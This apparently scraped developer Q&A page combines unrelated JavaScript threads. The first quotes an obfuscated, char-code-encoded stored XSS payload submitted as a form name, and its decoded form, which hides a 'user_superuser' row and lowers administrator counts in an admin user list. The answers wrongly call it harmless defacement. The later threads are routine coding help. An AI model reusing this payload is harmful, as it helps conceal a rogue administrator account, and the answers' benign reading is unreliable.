Develop Reference

What does this suspicious and likely malicious code do?

A random user added this text as his name in a web form. I suppose his idea was to somehow inject Javascript into a dynamic page. How should this code be interpreted? (What does it do?)
<script LANGUAGE="JavaScript">
function Decode() {
var temp = "",
i, c = 0,
out = "";
var str = "46!46!46!32!60!98!32!105!100!61!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!62!60!115!99!114!105!112!116!32!108!97!110!103!117!97!103!101!61!34!74!97!118!97!83!99!114!105!112!116!34!62!32!118!97!114!32!115!101!116!85!115!101!114!78!97!109!101!32!61!32!102!117!110!99!116!105!111!110!40!41!123!32!116!114!121!123!32!118!97!114!32!116!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!66!121!73!100!40!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!41!59!32!119!104!105!108!101!40!116!46!110!111!100!101!78!97!109!101!33!61!34!84!82!34!41!123!32!116!61!116!46!112!97!114!101!110!116!78!111!100!101!59!32!125!59!32!116!46!112!97!114!101!110!116!78!111!100!101!46!114!101!109!111!118!101!67!104!105!108!100!40!116!41!59!32!118!97!114!32!116!97!103!115!32!61!32!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!72!51!34!41!59!32!118!97!114!32!115!32!61!32!34!32!115!104!111!119!110!32!98!101!108!111!119!34!59!32!102!111!114!32!40!118!97!114!32!105!32!61!32!48!59!32!105!32!60!32!116!97!103!115!46!108!101!110!103!116!104!59!32!105!43!43!41!32!123!32!118!97!114!32!116!61!116!97!103!115!91!105!93!46!105!110!110!101!114!72!84!77!76!59!32!118!97!114!32!104!61!116!97!103!115!91!105!93!59!32!105!102!40!116!46!105!110!100!101!120!79!102!40!115!41!62!48!41!123!32!115!32!61!40!112!97!114!115!101!73!110!116!40!116!41!45!49!41!43!115!59!32!104!46!114!101!109!111!118!101!67!104!105!108!100!40!104!46!102!105!114!115!116!67!104!105!108!100!41!59!32!116!32!61!32!100!111!99!117!109!101!110!116!46!99!114!101!97!116!101!84!101!120!116!78!111!100!101!40!115!41!59!32!104!46!97!112!112!101!110!100!67!104!105!108!100!40!116!41!59!32!125!32!125!32!118!97!114!32!97!114!114!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!117!108!34!41!59!32!102!111!114!40!118!97!114!32!105!32!105!110!32!97!114!114!41!32!105!102!40!97!114!114!91!105!93!46!99!108!97!115!115!78!97!109!101!61!61!34!115!117!98!115!117!98!115!117!98!34!41!123!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!125!32!125!99!97!116!99!104!40!101!41!123!125!59!32!125!59!32!97!100!100!76!111!97!100!69!118!101!110!116!40!115!101!116!85!115!101!114!78!97!109!101!41!59!32!60!47!115!99!114!105!112!116!62!";
l = str.length;
while (c <= str.length - 1) {
while (str.charAt(c) != '!') temp = temp + str.charAt(c++);
c++;
out = out + String.fromCharCode(temp);
temp = "";
}
document.write(out);
}
</script>
<script LANGUAGE="JavaScript">
Decode();
</SCRIPT>

It creates a script tag with some JavaScript code. It changes some HTML elements, doesn't seem to be very dangerous. We would probably need to know what environment / website it was supposed to be used in.
Here is the code created by the script:
<b id="user_superuser"><script language="JavaScript">
var setUserName = function () {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);

It injects this into the page...
As for what it does... well, nothing really
It replaces some tags on the page with some "Administrator" text... without seeing the rest of your code I can't really tell, but it looks like it is mainly defacing the site to scare you
... <b id="user_superuser">
<script language="JavaScript">
var setUserName = function() {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);
</script>

Getting variables outside a bracket and adding it into the variables inside the bracket

i am currently doing a random minterm maxterm mini program.
var totalvar = getRandomInt(3,5);
var main = "";
for (var i = 1; i <= totalvar; i++) {
var test = getRandomInt(1,4);
//alert(test);
var myArray = ["A","B","C","D","A&apos;","B&apos;","C&apos;","D&apos;"];
var text ="";
for (var a = 1; a <= test; a++) {
function random(array) {
return array[Math.floor(Math.random() * array.length)]
}
var testing = random(myArray);
if (testing =="A") {
var testing2 ="A&apos;";
} else if (testing =="A&apos;") {
var testing2 ="A";
} else if (testing =="B") {
var testing2 ="B&apos;";
} else if (testing =="B&apos;") {
var testing2 ="B";
}else if (testing =="C") {
var testing2 ="C&apos;";
} else if (testing =="C&apos;") {
var testing2 ="C";
}else if (testing =="D") {
var testing2 ="D&apos;";
} else if (testing =="D&apos;") {
var testing2 ="D";
}
//alert(testing);
//alert(myArray);
text += testing
var index = myArray.indexOf(testing);
if (index > -1) {
myArray.splice(index, 1);
}
var index = myArray.indexOf(testing2);
if (index > -1) {
myArray.splice(index, 1);
}
}
var impt = totalvar - i;
var frontbracket = main.split("(").length;
var backbracket = main.split(")").length;
if (impt >= 2) {
var brackets = getRandomInt(1,3);
var chances = getRandomInt(1,3);
var chances1 = getRandomInt(1,3);
var lastLetter = main.charAt(main.length - 1);
alert(frontbracket);
alert(backbracket);
if (frontbracket == backbracket) {
if (brackets == 1) {
text = "(" + text;
if (main == "") {
main = text;
}else
main += "+" + text;
} else {
if (main == "") {
main = text;
} else if ( lastLetter == ')') {
if ( chances !== 1) {
main += text;
}else
main += "+" + text;
}else
main += "+" + text;
}
}
else if (frontbracket != backbracket){
text = text + ")";
main += "+" + text;
}
} else if (frontbracket != backbracket){
text = text + ")";
main += "+" + text;
}
else {
var brackets = getRandomInt(1,3);
var chances = getRandomInt(1,3);
var lastLetter = main.charAt(main.length - 1);
if (brackets == 1) {
text = "(" + text + ")";
if (main == "") {
main = text;
} else if ( lastLetter == ')') {
if ( chances !== '1') {
main += text;
}else
main += "+" + text;
}else
main += "+" + text;
} else {
if (main == "") {
main = text;
} else if ( lastLetter == ')') {
if ( chances !== 1) {
main += text;
}else
main += "+" + text;
}else
main += "+" + text;
}
}
}
Currently i am trying to create random questions like
(ABC+C'D'A')C+C'B'
BAC'D'+(CB'A'D)(B'A)
BCA+(B'C)(A'C')
(BC'D'A+CADB')A'DC'+B'+(D'A')
(BC'D'A+CADB')+B'+(D'A')
So based on this 4 questions, i can solve qn 2, qn 3, qn 5 by using the replace function but for qn1 and qn4,
i have to check if there is a plus sign inside the bracket and if there are variables outside the bracket, i will need to add the variables inside.
If there are no variables outside of the bracket like Qn5, i will just remove the brackets.
like this qn5
BC'D'A+CADB'+B'+D'A'
For example qn4 should look like this after the function is done with it
BC'D'AA'DC'+CADB'A'DC'+B'+D'A'
May i ask for some advice regarding this please?
on a function that checks whether there is a plus sign inside the bracket then check whether there are any variables directly outside the bracket and if there is, the variable outside must be added to the variables inside the bracket

javascript function to add values outside of bracket into values inside the bracket

i am trying to create a function that automatically create questions to do.
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
var totalvar = getRandomInt(2,4);
var main = "";
for (var i = 1; i <= totalvar; i++) {
var test = getRandomInt(1,3);
// alert(test);
var myArray = ["A","B","C","A&apos;","B&apos;","C&apos;"];
var text ="";
for (var a = 1; a <= test; a++) {
function random(array) {
return array[Math.floor(Math.random() * array.length)]
}
var testing = random(myArray);
if (testing =="A") {
var testing2 ="A&apos;";
} else if (testing =="A&apos;") {
var testing2 ="A";
} else if (testing =="B") {
var testing2 ="B&apos;";
} else if (testing =="B&apos;") {
var testing2 ="B";
}else if (testing =="C") {
var testing2 ="C&apos;";
} else if (testing =="C&apos;") {
var testing2 ="C";
}
//alert(testing);
//alert(myArray);
text += testing
var index = myArray.indexOf(testing);
if (index > -1) {
myArray.splice(index, 1);
}
var index = myArray.indexOf(testing2);
if (index > -1) {
myArray.splice(index, 1);
}
}
var brackets = getRandomInt(1,3);
var chances = getRandomInt(1,3);
var lastLetter = main.charAt(main.length - 1);
if (brackets == 1) {
text = "(" + text + ")";
if (main == "") {
main = text;
} else if ( lastLetter == ')') {
if ( chances !== 1) {
main += text;
}else
main += "+" + text;
}else
main += "+" + text;
} else {
if (main == "") {
main = text;
} else if ( lastLetter == ')') {
if ( chances !== 1) {
main += text;
}else
main += "+" + text;
}else
main += "+" + text;
}
}
I have manage to get it to display questions that i want
B'C'+(A'C'B')+BCA
B+(C')(CAB)
A'BC+(C')A+AB'
B'C'+AB(A'C'B')+BCA
I am stucked as i couldnt get the function for the next step where it multiples the value outside the bracket
B'C'+A'C'B'+BCA
B+C'CAB
A'BC+C'A+AB'
B'C'+ABA'C'B'+BCA
The above is what i hope to achieve but im unable to create the function out
any tips guys?

use replace:
var str = "B'C'+(A'C'B')+BCA";
var response = str.replace(/([\(\)]+)/g, '');
console.log(response);
// output: "B'C'+A'C'B'+BCA"

char counter doesn't work with paste event

I have written a code bellow for counting the character inside text box.
the code is working just fine the only problem with it is when i past a text into the text box i have to press any key so system start to count.
Could you please help me sort this problem
function GetAlhpa(text) {
var gsm = "#£$¥èéùìòÇØøÅåΔ_ΦΓΛΩΠΨΣΘΞ^{}\[~]|€ÆæßÉ!\"#¤%&'()*+,-./0123456789:;<=>?¡ABCDEFGHIJKLMNOPQRSTUVWXYZÄÖÑܧ¿abcdefghijklmnopqrstuvwxyzäöñüà";
var i = 0;
while (i <= String(text).length) {
if (gsm.indexOf(String(String(text).charAt(i))) == -1 && (String(text).charCodeAt(i) != 32) && (String(text).charCodeAt(i) != 27) && (String(text).charCodeAt(i) != 10) && (String(text).charCodeAt(i) != 13)) {
UniCodestring = " Unicode ";
Countsms = 70;
if ($('#SndSms_Message').val().length > 70)
Countsms = 67;
return;
}
i++;
}
Countsms = 160;
UniCodestring = "";
if ($('#SndSms_Message').val().length > 160)
Countsms = 153;
}
var Countsms = 160;
var UniCodestring = "";
var CounterSmsLen = 0;
var Two = "|^€{}[]~";
function GetCountSms() {
document.getElementById('SndSms_Message').addEventListener('input', function (e) {
var target = e.SndSms_Message,
position = SndSms_Message.selectionStart;
ConvertGreek();
CounterSmsLen = $('#SndSms_Message').val().length;
GetAlhpa($('#SndSms_Message').val());
var i = 0;
while (i < String(Two).length) {
var oldindex = -1;
while (String($('#SndSms_Message').val()).indexOf(String(String(Two).charAt(i)), oldindex) > -1) {
//if ( String($('#SndSms_Message').val()).indexOf(String(String(Two).charAt(i))) > -1){
CounterSmsLen += 1;
oldindex = String($('#SndSms_Message').val()).indexOf(String(String(Two).charAt(i)), oldindex) + 1;
console.log(i);
}
i++;
}
SndSms_Message.selectionEnd = position; // Set the cursor back to the initial position.
});
if ($('#SndSms_Message').val().length == 0)
CounterSmsLen = 0;
$('#SndSms_Count').html(' ' + CounterSmsLen + ' Characters' + UniCodestring + ' <br /> ' + Math.ceil(CounterSmsLen / Countsms) + ' Sms');
countsmsnumber=Math.ceil(CounterSmsLen / Countsms);
}
var greekchar = "ΑΒΕΖΗΙΚΜΝΟΡΤΥΧ";
var englishchar = "ABEZHIKMNOPTYX";
function ConvertGreek() {
var str = $('#SndSms_Message').val();
var i = 0;
while (i < String(greekchar).length) {
str = str.replace(new RegExp(String(greekchar).charAt(i), 'g'), String(englishchar).charAt(i));
i++;
}
$('#SndSms_Message').val(str);
P.S.
If i paste the number into the text box it will count it correct but if i paste character it wont count them..

You need keyup change event in order to handle paste event.
document.getElementById('SndSms_Message').addEventListener("keyup", function() {
//your code here
});
example

javascript get element unique selector

I am moving elements using javascript and I need to create a logic for the combinations happening during the drag/drops
I'm trying to get details from the elements, a CSS like selector could be also good, but dunno if it is possible.. (like copy-selector in chrome dev tools)
document.onmouseup = function(e){
targetDest = e.target;
//console.log('targetDest: ', targetDest);
let
indexA = Array.from(targetCurr.parentNode.children).indexOf(targetCurr),
indexB = Array.from(targetDest.parentNode.children).indexOf(targetDest);
console.log(indexA, indexB);
if(targetDest != targetCurr){
if(targetDest == document.documentElement){
console.log('document');
}
else if(targetDest == undefined){
console.log('undefined');
}
else if(!targetDest){
console.log('!dest');
}
else if(targetDest == null){
console.log('null');
}
else if(targetDest == false){
console.log('false');
}
else{
console.log('else');
//targetCurr.parentNode.insertBefore(targetDest, targetCurr);
//console.log('...');
}
}else{
console.log('itself');
}
}

Keep in mind that this will not necessarily uniquely identify elements. But, you can construct that type of selector by traversing upwards from the node and prepending the element you're at. You could potentially do something like this
var generateQuerySelector = function(el) {
if (el.tagName.toLowerCase() == "html")
return "HTML";
var str = el.tagName;
str += (el.id != "") ? "#" + el.id : "";
if (el.className) {
var classes = el.className.split(/\s/);
for (var i = 0; i < classes.length; i++) {
str += "." + classes[i]
}
}
return generateQuerySelector(el.parentNode) + " > " + str;
}
var qStr = generateQuerySelector(document.querySelector("div.moo"));
alert(qStr);
body
<div class="outer">
div.outer
<div class="inner" id="foo">
div#foo.inner
<div class="moo man">
div.moo.man
</div>
</div>
</div>
I wouldn't suggest using this for much besides presenting the information to a user. Splitting it up and reusing parts are bound to cause problems.

My solution using :nth-child:
function getSelector(elm)
{
if (elm.tagName === "BODY") return "BODY";
const names = [];
while (elm.parentElement && elm.tagName !== "BODY") {
if (elm.id) {
names.unshift("#" + elm.getAttribute("id")); // getAttribute, because `elm.id` could also return a child element with name "id"
break; // Because ID should be unique, no more is needed. Remove the break, if you always want a full path.
} else {
let c = 1, e = elm;
for (; e.previousElementSibling; e = e.previousElementSibling, c++) ;
names.unshift(elm.tagName + ":nth-child(" + c + ")");
}
elm = elm.parentElement;
}
return names.join(">");
}
var qStr = getSelector(document.querySelector("div.moo"));
alert(qStr);
body
<div class="outer">
div.outer
<div class="inner" id="foo">
div#foo.inner
<div class="moo man">
div.moo.man
</div>
</div>
</div>
Please note it won't return the whole path if there's an element with ID in it - every ID should be unique on the page, as valid HTML requires.
I use output of this function in document.querySelector later in the code, because I needed to return focus to the same element after replaceChild of its parent element.
I hope CollinD won't mind I borrowed his markup for the code snippet :-)

I mixed the 2 solutions proposed to have a result readable by humans and which gives the right element if there are several similar siblings:
function elemToSelector(elem) {
const {
tagName,
id,
className,
parentNode
} = elem;
if (tagName === 'HTML') return 'HTML';
let str = tagName;
str += (id !== '') ? `#${id}` : '';
if (className) {
const classes = className.split(/\s/);
for (let i = 0; i < classes.length; i++) {
str += `.${classes[i]}`;
}
}
let childIndex = 1;
for (let e = elem; e.previousElementSibling; e = e.previousElementSibling) {
childIndex += 1;
}
str += `:nth-child(${childIndex})`;
return `${elemToSelector(parentNode)} > ${str}`;
}
Test with:
// Select an element in Elements tab of your navigator Devtools, or replace $0
document.querySelector(elemToSelector($0)) === $0 &&
document.querySelectorAll(elemToSelector($0)).length === 1
Which might give you something like, it's a bit longer but it's readable and it always works:
HTML > BODY:nth-child(2) > DIV.container:nth-child(2) > DIV.row:nth-child(2) > DIV.col-md-4:nth-child(2) > DIV.sidebar:nth-child(1) > DIV.sidebar-wrapper:nth-child(2) > DIV.my-4:nth-child(1) > H4:nth-child(3)
Edit: I just found the package unique-selector

Small improvement of the #CollinD answer :
1/ Return value when the selector is unique
2/ Trim classes value (classes with end blanks make errors)
3/ Split multiple spaces between classes
var getSelector = function(el) {
if (el.tagName.toLowerCase() == "html")
return "html";
var str = el.tagName.toLowerCase();
str += (el.id != "") ? "#" + el.id : "";
if (el.className) {
var classes = el.className.trim().split(/\s+/);
for (var i = 0; i < classes.length; i++) {
str += "." + classes[i]
}
}
if(document.querySelectorAll(str).length==1) return str;
return getSelector(el.parentNode) + " > " + str;
}

Based on previous solutions, I made a typescript solution with a shorter selector and additional checks.
function elemToSelector(elem: HTMLElement): string {
const {
tagName,
id,
className,
parentElement
} = elem;
let str = '';
if (id !== '' && id.match(/^[a-z].*/)) {
str += `#${id}`;
return str;
}
str = tagName;
if (className) {
str += '.' + className.replace(/(^\s)/gm, '').replace(/(\s{2,})/gm, ' ')
.split(/\s/).join('.');
}
const needNthPart = (el: HTMLElement): boolean => {
let sib = el.previousElementSibling;
if (!el.className) {
return true;
}
while (sib) {
if (el.className !== sib.className) {
return false;
}
sib = sib.previousElementSibling;
}
return false;
}
const getNthPart = (el: HTMLElement): string => {
let childIndex = 1;
let sib = el.previousElementSibling;
while (sib) {
childIndex++;
sib = sib.previousElementSibling;
}
return `:nth-child(${childIndex})`;
}
if (needNthPart(elem)) {
str += getNthPart(elem);
}
if (!parentElement) {
return str;
}
return `${elemToSelector(parentElement)} > ${str}`;
}